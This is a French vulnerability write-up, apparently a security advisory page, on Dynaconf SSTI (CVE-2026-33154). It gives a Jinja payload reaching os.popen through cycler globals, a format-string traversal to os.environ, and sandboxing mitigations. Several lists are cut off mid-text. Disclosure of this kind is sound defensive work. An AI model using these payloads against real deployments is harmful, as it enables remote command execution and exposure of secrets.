
Preuve de concept d'exploitation pour CVE-2026-33154, démontrant l'exécution de code à distance via SSTI dans le résolveur Jinja de Dynaconf, avec analyse et recommandations d'atténuation.
Dynaconf est vulnérable à une injection de modèles côté serveur (SSTI) en raison d'une évaluation non sécurisée des modèles dans le résolveur __@Jinja__. Lorsque le paquet jinja2 est installé, Dynaconf évalue les expressions de modèles intégrées dans les valeurs de configuration sans environnement sandboxé.
Si un attaquant peut influencer les sources de configuration telles que :
.env...il peut exécuter des commandes OS arbitraires sur le système hôte. De plus, le résolveur __@Format__ permet une traversée du graphe d'objets, ce qui peut exposer des objets runtime sensibles et des variables d'environnement.
La vulnérabilité provient du fait que les résolveurs de chaînes de Dynaconf manquent de limites de sécurité appropriées.
__@Jinja__Le résolveur __@Jinja__ rend les modèles en utilisant une évaluation Jinja2 complète. Cependant, le contexte de rendu n'est pas sandboxé, ce qui permet aux attaquants d'accéder aux attributs internes de Python. En utilisant des objets tels que cycler, les attaquants peuvent atteindre les globals de Python et importer le module os.
Chemin d'attaque exemple :
cycler → __init__ → __globals__ → os → popen()
Cela conduit à une exécution de commandes arbitraires.
__@Format__Le résolveur __@Format__ effectue un formatage de chaînes Python en utilisant des objets internes. Cela permet aux attaquants de traverser le graphe d'objets de Python et d'accéder à des objets runtime sensibles.
Traversée exemple :
{this.__class__.__init__.__globals__[os].environ}
Cela peut exposer :
import os
from dynaconf import Dynaconf
# Injection de configuration malveillante
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"
settings = Dynaconf()
print("[!] Résultat de l'exécution de commande :")
print(settings.RCE)
Une exploitation réussie permet aux attaquants de :
Étant donné que les valeurs de configuration peuvent provenir de pipelines CI/CD, de systèmes d'orchestration de conteneurs ou d'injection d'environnement, cette vulnérabilité peut devenir exploitable à distance dans des déploiements réels.
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("{{ config_value }}")
safe_value = template.render(config_value=user_input)
__@Format__ aux valeurs de confiancesafe_value = "{name}".format(name=trusted_name)